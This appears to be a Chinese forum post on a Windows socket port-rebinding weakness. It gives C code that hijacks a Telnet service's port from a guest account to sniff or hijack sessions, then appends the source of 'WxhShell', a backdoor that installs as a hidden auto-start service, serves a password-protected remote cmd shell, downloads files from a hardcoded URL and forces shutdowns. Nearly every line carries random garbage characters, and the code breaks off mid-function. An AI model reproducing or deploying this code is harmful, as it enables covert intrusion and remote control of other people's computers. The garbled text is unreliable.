在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
lJ] \ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,#jhKnk2e +9
p`D saddr.sin_family = AF_INET;
2|H91Y2 &c?hJ8" saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Ed0>R<jR9 q|$>H6H4b bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-,fa{ yt- a.dxgW[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
E<#4G9O< 9H, &nET 这意味着什么?意味着可以进行如下的攻击:
u"8 ;fS ~eV!!38
J 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CNRU"I+jU xAd>",=~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
s3_e7D ^H PVS<QN% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
)4L%zl7 V3A>Ag+^~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
['Y+z2k |RAQ% VXm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:CkR4J!m3 :OQ:@Yk 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$,QpSK`9i bu"68A;> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
3+8" ,+f0cv4 #include
ZYA.1VrM #include
]D) 'I` #include
o&XMgY~ #include
78a-3){ DWORD WINAPI ClientThread(LPVOID lpParam);
VmOFX:j!, int main()
+/!=Ub[:U {
A{8K#@! WORD wVersionRequested;
VkTlPmr DWORD ret;
>SxZ9T|% WSADATA wsaData;
m]=oaj@9 BOOL val;
igj={==m SOCKADDR_IN saddr;
$uFh$f SOCKADDR_IN scaddr;
,y8I)+ int err;
4/`h@]8P SOCKET s;
A M1C
$ SOCKET sc;
9"HmHy&:E int caddsize;
-Nlf~X HANDLE mt;
8pq-nuf|K DWORD tid;
lA.;ZD! wVersionRequested = MAKEWORD( 2, 2 );
^0s\/qyqm err = WSAStartup( wVersionRequested, &wsaData );
kToVBU$ if ( err != 0 ) {
@`kiEg'Q printf("error!WSAStartup failed!\n");
d(DX(xg return -1;
xf^<ec }
Bd[L6J) saddr.sin_family = AF_INET;
a:-)+sgHw pg?i F1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pe!dm}!h[ 3u?`q%Y-e saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
y3KcM#[ saddr.sin_port = htons(23);
E &];>3C if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3m43nJ.~ {
s?@)a,C%k printf("error!socket failed!\n");
<nb3~z1 return -1;
}ED
nLou }
Yt/SnF val = TRUE;
| ,1bkJt //SO_REUSEADDR选项就是可以实现端口重绑定的
/Oggt^S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%7NsBR!y {
K{zCp6 printf("error!setsockopt failed!\n");
2GiUPtO&Gj return -1;
!O F?xW }
:PFx& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%l8*t$8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
S7UZGGjTk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ib(>vp$V "^9[OgE: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
C?[a3rNH( {
mZbWRqP[|_ ret=GetLastError();
cZDxsd] printf("error!bind failed!\n");
yNrinYw return -1;
dcl.wD0~V }
J+}+"h~. listen(s,2);
{ywXz|TP while(1)
wUK7um {
o9m caddsize = sizeof(scaddr);
bSrRsgKvT //接受连接请求
B=Zl&1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Zp7yaz3y if(sc!=INVALID_SOCKET)
A[^qq UL' {
'9*5-iO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Q5p+ W if(mt==NULL)
3C rQBIj1 {
d1~_?V'r] printf("Thread Creat Failed!\n");
CYPazOfj break;
(2 T#/$ }
t_I\P.aMA }
1jH7<%y CloseHandle(mt);
6WE&((r^ }
@%EE0)IA closesocket(s);
XOysgX0g WSACleanup();
5!'R'x5e return 0;
pKt-R07* }
]g;^w?9h DWORD WINAPI ClientThread(LPVOID lpParam)
J+)'-OFt0 {
OuOk= SOCKET ss = (SOCKET)lpParam;
k]SAJ~bS| SOCKET sc;
{J,6iP{>ZN unsigned char buf[4096];
=zeFK_S! SOCKADDR_IN saddr;
%6NO 0 F^ long num;
.
]o3A8 DWORD val;
<`R|a * DWORD ret;
\!+-4,CbZY //如果是隐藏端口应用的话,可以在此处加一些判断
-ajM5S=d* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
IPl@ DH saddr.sin_family = AF_INET;
]Q6+e(:~ZH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.e`,{G(5q7 saddr.sin_port = htons(23);
?Yq J.F; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.O5LI35, {
r-RCe3%g% printf("error!socket failed!\n");
w=f0*$ue+w return -1;
NXzU0 }
tmO;:n<N val = 100;
)Qh>0T+( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"El^38Ho {
G1kaF/`O ret = GetLastError();
v!NB~"LQ return -1;
uP{;*E3? }
b!i`o%Vb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e#>tM {
c%|vUAq* ret = GetLastError();
cI*KRCU return -1;
)Vwj9WD }
UI!6aVL. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_ Ry_K3K {
v~^ks{ printf("error!socket connect failed!\n");
6m4Te| closesocket(sc);
#/OUGeJ closesocket(ss);
|h5kg<Zgo return -1;
I3Lg?bZ }
%mY| while(1)
CJzm}'NY {
}qc#lz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`S"W8_m //如果是嗅探内容的话,可以再此处进行内容分析和记录
M[ x_#m| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
jja{*PZ6H num = recv(ss,buf,4096,0);
JNh=fvO2i if(num>0)
r%0pQEl send(sc,buf,num,0);
[NYj.#,oR else if(num==0)
'5'3_vM break;
No:^hY:F8 num = recv(sc,buf,4096,0);
wA?@v|,dZ if(num>0)
[^<SLTev send(ss,buf,num,0);
'UY[ap else if(num==0)
]EB6+x!G break;
YecT 96% }
?qk@cKS closesocket(ss);
7^ 4jcfJH closesocket(sc);
g[/^cJHQ return 0 ;
CV '&4oq }
*"1~bPl 9'1hjd3k D9ANm"# ==========================================================
S8\+XJ `SCy<w3$+[ 下边附上一个代码,,WXhSHELL
E@:Q 'g% TbOJp ==========================================================
zQ ,f5x 2=>*O #include "stdafx.h"
Z.!g9fi8> egfi;8]E #include <stdio.h>
brb[})} #include <string.h>
ya:sW5fk #include <windows.h>
j5kA^MTG #include <winsock2.h>
^w>&?A'! #include <winsvc.h>
f2NA=%\ #include <urlmon.h>
'<TD6jBs 9o EpPL5 #pragma comment (lib, "Ws2_32.lib")
]bIt@GB #pragma comment (lib, "urlmon.lib")
brntE: DL,[k
( #define MAX_USER 100 // 最大客户端连接数
gW kjUz) #define BUF_SOCK 200 // sock buffer
l{8CISO* #define KEY_BUFF 255 // 输入 buffer
SaCx)8ul0 bZiyapM #define REBOOT 0 // 重启
+4Q[N;[+* #define SHUTDOWN 1 // 关机
XTV0Le\f B$ui:R/ t #define DEF_PORT 5000 // 监听端口
;TtaH zt?h^zf} #define REG_LEN 16 // 注册表键长度
0A.PD rM: #define SVC_LEN 80 // NT服务名长度
_ j~4+H J==}QEhQ{ // 从dll定义API
?FN9rhAC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^\MhT)x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
B22b&0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V"O9n[ | typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
H.:9:I[n HL@TcfOe~ // wxhshell配置信息
~x'zX-@rC struct WSCFG {
VUp. j int ws_port; // 监听端口
+$PFHXB char ws_passstr[REG_LEN]; // 口令
wS V@=)H\: int ws_autoins; // 安装标记, 1=yes 0=no
l8^y]M char ws_regname[REG_LEN]; // 注册表键名
(v!mR+\x char ws_svcname[REG_LEN]; // 服务名
x@Y|v@}BE char ws_svcdisp[SVC_LEN]; // 服务显示名
gV|Y54}T char ws_svcdesc[SVC_LEN]; // 服务描述信息
|~eY%LB
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
L;3aZt,#O int ws_downexe; // 下载执行标记, 1=yes 0=no
y`rL=N# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
PB+\jj char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5C B%=iL{ RK-x?ZYH' };
p'}lN|"{O u#FXW_-TK // default Wxhshell configuration
vevf[eO- struct WSCFG wscfg={DEF_PORT,
4f!dYo4L "xuhuanlingzhe",
N+NK` 1,
BhLZ7 * "Wxhshell",
^#;RLSv
"Wxhshell",
FuuS"G,S "WxhShell Service",
p5-<P?B "Wrsky Windows CmdShell Service",
`gI~|A4 "Please Input Your Password: ",
&mcR 1,
S;8. yj- "
http://www.wrsky.com/wxhshell.exe",
6}ftBmv "Wxhshell.exe"
iT.|vr1HG };
';6X!KY+] q[P~L`h S // 消息定义模块
.Vmtx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+8f>^*:u char *msg_ws_prompt="\n\r? for help\n\r#>";
+`| mJa char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<7^Kt7k char *msg_ws_ext="\n\rExit.";
3p_b8K_bG char *msg_ws_end="\n\rQuit.";
g2=}G <*0 char *msg_ws_boot="\n\rReboot...";
\-OC|\{32 char *msg_ws_poff="\n\rShutdown...";
D"cKlp-I6| char *msg_ws_down="\n\rSave to ";
Z(HZB D-pX<0-y char *msg_ws_err="\n\rErr!";
>!
oF0R_< char *msg_ws_ok="\n\rOK!";
cz#_<8'N Fj^AWv^/ char ExeFile[MAX_PATH];
&hI>L int nUser = 0;
333u] HANDLE handles[MAX_USER];
%}h`+L int OsIsNt;
4{Udz! 9 #Y2`pT SERVICE_STATUS serviceStatus;
zmb@*/fK SERVICE_STATUS_HANDLE hServiceStatusHandle;
E?Cj/o J)*8|E9P // 函数声明
:_Fxy5} int Install(void);
Hd0Xx}3& int Uninstall(void);
Vv7PCaq int DownloadFile(char *sURL, SOCKET wsh);
ufPCx|x~ int Boot(int flag);
H* /&A9(" void HideProc(void);
<Y>3 int GetOsVer(void);
,eXFN?CB int Wxhshell(SOCKET wsl);
W`x)=y]Z void TalkWithClient(void *cs);
1~@|eWr| int CmdShell(SOCKET sock);
)~}PgbZ^ int StartFromService(void);
> rw"Rd' int StartWxhshell(LPSTR lpCmdLine);
nLJBq)i =Z`0>R` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>A($8=+#x VOID WINAPI NTServiceHandler( DWORD fdwControl );
U
Du~2% HN68!v}C| // 数据结构和表定义
;&kn"b}G; SERVICE_TABLE_ENTRY DispatchTable[] =
iNJAZ6@+ {
hgO?+x {wscfg.ws_svcname, NTServiceMain},
6m+W#]^ {NULL, NULL}
[))JX"a };
_2OuskL W2 <3C // 自我安装
K/| int Install(void)
.&iN(Bd {
A"4@L*QV char svExeFile[MAX_PATH];
3ji:O T HKEY key;
+
|C=ZU strcpy(svExeFile,ExeFile);
^f|<R8 ` -~O/NX // 如果是win9x系统,修改注册表设为自启动
V#J"c8n if(!OsIsNt) {
RZh}: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X+iK<F$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!M(:U,?B RegCloseKey(key);
0`n
5x0R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8=F %+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8l23%iWxe RegCloseKey(key);
JZ=5Bpw return 0;
{ma;G[! }
4SR(->@ }
g1@wf }
lzDdD3Ouc else {
"IwM:v )0-o%- e // 如果是NT以上系统,安装为系统服务
i&&qbZt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5UOk)rOf if (schSCManager!=0)
"8HE^Po/pn {
s$GF 95^ SC_HANDLE schService = CreateService
ET-Vm >] (
_-%d9@x schSCManager,
M|r8KW~S) wscfg.ws_svcname,
i03gX<=* wscfg.ws_svcdisp,
t`u!]DHv SERVICE_ALL_ACCESS,
7'OPjtM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
H$tb;: SERVICE_AUTO_START,
Qra> }e%* SERVICE_ERROR_NORMAL,
&{W^W8,% svExeFile,
4seciz0? NULL,
f#P_xn&et NULL,
-H\,2FO NULL,
O2 v. NULL,
FH*RU1Z NULL
]XUSqai );
hYb9`0G"2 if (schService!=0)
C`4gsqD;Z {
d(S}NH CloseServiceHandle(schService);
10MU-h.) CloseServiceHandle(schSCManager);
|scUo~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g.a| c\WH strcat(svExeFile,wscfg.ws_svcname);
H/J<Pd$p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RrWNJ&o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
vg(K$o{BT RegCloseKey(key);
maDz W_3 return 0;
frqJN }
z*LiweR- }
cNj*E
=~; CloseServiceHandle(schSCManager);
io4aYB\ }
D1Yh,P<CF\ }
;+`uER e<5Y94YE return 1;
xvDI 4x& }
uvB1VV4 ,%hj cGX11 // 自我卸载
w^o}E)O int Uninstall(void)
:3?|VE F {
GBbh ar},g HKEY key;
DB@EVH ;&,.TC?l if(!OsIsNt) {
]MAT2$"le if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A*'V+( RegDeleteValue(key,wscfg.ws_regname);
nbxR"UH RegCloseKey(key);
U)[ty@zyF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)(bxpW RegDeleteValue(key,wscfg.ws_regname);
j} RzXJ~t RegCloseKey(key);
YKs4{?vw return 0;
yVS\Q,:J9 }
sKfXg`0 }
HC7JMj }
cOku1g8 else {
70Ka! 1S%}xsR0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"s]y!BLk if (schSCManager!=0)
>&Fa(o;* {
HFS+QwHW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jvs[ / if (schService!=0)
6c<ezEJ {
|Td5l? if(DeleteService(schService)!=0) {
FC}oL"kk CloseServiceHandle(schService);
g-@h>$<
1 CloseServiceHandle(schSCManager);
Nl*i5 io return 0;
r(`nt-o@ }
1r571B*O CloseServiceHandle(schService);
cwynd=^nC }
%EI<@Ps8c CloseServiceHandle(schSCManager);
k^%_V|&W/( }
j>'B[ }
ZnXejpj)D N[k<@Q?*a return 1;
ax@H"d& }
7co`Zw4}g d^84jf.U // 从指定url下载文件
OD+5q(!"a int DownloadFile(char *sURL, SOCKET wsh)
P(h5=0`*PR {
i2`0|8mw' HRESULT hr;
N5 n> char seps[]= "/";
/#t&~E_| char *token;
_P5P(^/ char *file;
FA$zZs10\ char myURL[MAX_PATH];
qY(:8yC36 char myFILE[MAX_PATH];
T9)wj][ . ,7,;twKz strcpy(myURL,sURL);
+Me2U9 token=strtok(myURL,seps);
(@&I_>2Q while(token!=NULL)
$']VQ4tZ {
40K2uT{cq file=token;
=n0*{~r token=strtok(NULL,seps);
-(;LQDG | }
/EFq#+6 @@}`hii GetCurrentDirectory(MAX_PATH,myFILE);
`ROEV~ strcat(myFILE, "\\");
Dip*}8$o(w strcat(myFILE, file);
$a.u05 send(wsh,myFILE,strlen(myFILE),0);
_CdROo6I send(wsh,"...",3,0);
U9ZbVjqv@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
a8s4T$ if(hr==S_OK)
b!a
%YLL return 0;
^M
Ey, else
nGa1a return 1;
A=`*r* 7BFN|S_l }
agsISu( cZ<
\ // 系统电源模块
B\_[R'Pf& int Boot(int flag)
f a5]a {
OFy,B-`A{ HANDLE hToken;
+1@AGJU3 TOKEN_PRIVILEGES tkp;
Rd! 2\| b5 Q NEi if(OsIsNt) {
\Ph7(ik OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C\Ayv)S#2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W_<4WG tkp.PrivilegeCount = 1;
@"8R3BN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ty-
r& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
y/R+$h(% if(flag==REBOOT) {
0.DQO; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K]"Kf{bx return 0;
Tf-CEHWD }
uec|S\~M else {
-p8e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~A >oO-0K return 0;
)H+kB<n }
dAxp ,):&J }
XxOn3i else {
dDlG!F_= if(flag==REBOOT) {
6P+DnS[] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
] !Zty[ return 0;
f\}22}/ }
pFIecca w else {
1xTTJyoq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`clB43i return 0;
.~`Y)PON }
!F7: i }
)N)ljA3] =kFuJ
x)f return 1;
_T]>/}}p }
Q]\j>> ~`Sle
xK|} // win9x进程隐藏模块
[ud|dwP" void HideProc(void)
.,mPdVof {
4<}A]BQVkJ ']?=[`#NL HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Y6VQ:glDT- if ( hKernel != NULL )
J
Jy{@[m {
C EqZ:c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r~oSP^e' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ct0v$ct>f FreeLibrary(hKernel);
f z%tA39m }
KXe
ka ( V4G<-jG return;
O5-;I,)H }
x!?Z*v@I M 9"-WIG@h // 获取操作系统版本
2Xgx*'t\ int GetOsVer(void)
NG9vml {
;r!\-]5$ OSVERSIONINFO winfo;
0w3b~RJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0&$xX!] GetVersionEx(&winfo);
Gvn : c/m; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=|0/Ynfe return 1;
Taasi`
k else
Mi74Xl i return 0;
QymD-A"P }
O71BM@2< 0j$OE // 客户端句柄模块
hW%p#g; int Wxhshell(SOCKET wsl)
FpzP#; {
kCp)!hVQ SOCKET wsh;
S=O$JP79 struct sockaddr_in client;
Wz{%"o DWORD myID;
!K\itOEP- 8c).8RL f while(nUser<MAX_USER)
H[BYE
{
C*G/_`?9 int nSize=sizeof(client);
*Sb2w*c> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fuyl/bx} if(wsh==INVALID_SOCKET) return 1;
KjYDFrR4 ,?y7,nb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
HRHrSf7 if(handles[nUser]==0)
D rTM$) closesocket(wsh);
c[{UI else
vYzVY\ nUser++;
`M rBav }
gj;@?o0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
if@,vc /q*KO\L return 0;
':sTd^V }
{8:o?LnMW ^&m?qKN8 // 关闭 socket
.e$%[)D void CloseIt(SOCKET wsh)
'w6hW7"L {
UE7'B?
closesocket(wsh);
w `!LFHK
nUser--;
`,Zb2" ExitThread(0);
w_H2gaQ }
3{pk5_c x@Vt[}e // 客户端请求句柄
(UcFNeo void TalkWithClient(void *cs)
^0Q'./A{& {
8uA<G/Q; 4NUNOv`[{ SOCKET wsh=(SOCKET)cs;
4:3_ER ]J char pwd[SVC_LEN];
GZ"/k<~0 char cmd[KEY_BUFF];
KpGUq0d@ char chr[1];
TkT-$=i int i,j;
%~\ gvo?([j-m while (nUser < MAX_USER) {
_n_sfT6)B 6ZEdihBei if(wscfg.ws_passstr) {
8m7;x/0ld if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LE|<O //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f9F2U
) //ZeroMemory(pwd,KEY_BUFF);
m&cvU>lC i=0;
I-{^[p p while(i<SVC_LEN) {
%^!aB H ;wR // 设置超时
kjX7- ZPY fd_set FdRead;
b[0S=e
G struct timeval TimeOut;
zn^ v!:[ FD_ZERO(&FdRead);
kp; &cQu! FD_SET(wsh,&FdRead);
Nm"<!a<F TimeOut.tv_sec=8;
C9pnU,[ TimeOut.tv_usec=0;
N(BiOLZL6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
X~zRZ0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6Pijvx^0 HTN$ >QTI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3W'FcE)|E pwd
=chr[0];
ol#yjrv
if(chr[0]==0xd || chr[0]==0xa) { 4Pf+]R
pwd=0; "ZqEP R)
break; ZM
8U]0[X
} @Wz%KdXA
i++; jYk5~<\k
} dq2@6xd
Z>h{`
X\2
// 如果是非法用户,关闭 socket lG 8dI\ `
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QE*%HR'
} "5(W[$f*]v
952V@.Zp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wo]ks}9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oX*b<d{\N
Y2D>tpqNw
while(1) { [%?hCc
sL8>GtVo
ZeroMemory(cmd,KEY_BUFF); GVZTDrC
d.I%k1`(
// 自动支持客户端 telnet标准 g41<8^(
j=0; #@q1Ko!NZ
while(j<KEY_BUFF) { 1~L\s}|2d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TR?Bvy2s:g
cmd[j]=chr[0]; FR(QFt!g
if(chr[0]==0xa || chr[0]==0xd) { w_!%'9m>
cmd[j]=0; 2$Wo&Q^_
break; Onyh1
} UI_v3c3b
j++; <d S5|||
} >'.[G:b
vuW-}fY;
// 下载文件
\eT/ %$
if(strstr(cmd,"http://")) { tbS#^Y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); nAvs~J
if(DownloadFile(cmd,wsh)) P]-#wz=S
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
Y=|CPE%V
else V4Qz*z%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DEcGFRgN~
} ILNXaJ'0a
else { p_;r%o=
D>S8$]^Dm
switch(cmd[0]) { RB *P0
K9^ "NS3
// 帮助 xjE7DCmA
case '?': { _V&x`ks
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k3#wLJ
break; ZLuPz#
} qNy-o\;XN
// 安装 8,H~4Ce3
case 'i': { lj
Y
if(Install()) #'wL\3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $q^O%(
else sN=KR qe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Vm Eyb
break; 4NJVW+:2
} :Nkz,R?
// 卸载 &D^e<j}RQ
case 'r': { dt0T t
if(Uninstall()) +~:x}QwGT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0+rW;-_(
else j+ I*Xw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k}#@8n|b
break; -&$%|cyThQ
} >6w@{p2B
// 显示 wxhshell 所在路径 16L"^EYq
case 'p': { |MVV +.X
char svExeFile[MAX_PATH]; ;tm3B2
strcpy(svExeFile,"\n\r"); VYHOk3
strcat(svExeFile,ExeFile); ZrA
Um
send(wsh,svExeFile,strlen(svExeFile),0); &D)Hz
break; DVbYShB
} G$|G w
// 重启 X:DMT>5k
case 'b': { oH=4m~'V
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $@68=
if(Boot(REBOOT)) ";o~&8?)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }tu4z+T2
else { raSF3b/0
closesocket(wsh); @}ZGY^
ExitThread(0); \Ec
X!aC
} @PKAz&0
break; \6U 2-m'
} 1T:)Zv'
// 关机 _@7(g(pY 3
case 'd': { { qjUI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1]HHe*'Z
if(Boot(SHUTDOWN)) Un]DFu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6<#Slw[
else { V, E9Uds
closesocket(wsh); *Gf&q
ExitThread(0); =Z^un&'
} )eVzS j>MT
break; ybC-f'0
} 5[1@`6j
// 获取shell ixg\[5.Q+
case 's': { n<=y"*
CmdShell(wsh); x, }ez
closesocket(wsh); w' .'Yu6
ExitThread(0); 2m|Eoc&M_
break; hjw4Xzju
} t2~"B&7My
// 退出 /nwxuy
case 'x': { uwmoM>I W^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D\@e{.$MZ|
CloseIt(wsh); $#D
n 4
break; cn@03&dAl
} bOi};/f
// 离开 | h
case 'q': { }5QZ6i#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); BDWim`DK"
closesocket(wsh); pHigxeV2
WSACleanup(); hkkF1
h
exit(1); \dC.%#
break; 9zmD6G!}t
} =`r ppO
} F@B
} +Kxe ymwr2
6\%r6_.d
// 提示信息 B >ms`|q=l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xV"6d{+
} ?f(pQy@V
} ^-
u[q-
!
5`(((_Um+
return; Uf=vs(
} 3| GNi~
,w,ENU0~f
// shell模块句柄 [c,|Lw4
int CmdShell(SOCKET sock) xhw8#
{ cdd P
T
STARTUPINFO si; 38Bnf
ZeroMemory(&si,sizeof(si)); 4x=V|"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pn~pej5'K
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p7%0hLW
PROCESS_INFORMATION ProcessInfo; nh _DEPMq
char cmdline[]="cmd"; Ry3+/]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ORUWslMt
return 0; Bu*W1w\
} a7ub.9>
|Ba4 G`
// 自身启动模式 WZfk}To1#
int StartFromService(void) }|w=7^1z
{ Oex{:dO "F
typedef struct |#Yu.c*
{ eD>-`'7<
DWORD ExitStatus; } S'I
DHla
DWORD PebBaseAddress; Km|9Too
DWORD AffinityMask; Zm"!E6`69
DWORD BasePriority; _C7abw-
ULONG UniqueProcessId; n's2/9x
ULONG InheritedFromUniqueProcessId; Z"teZ0H
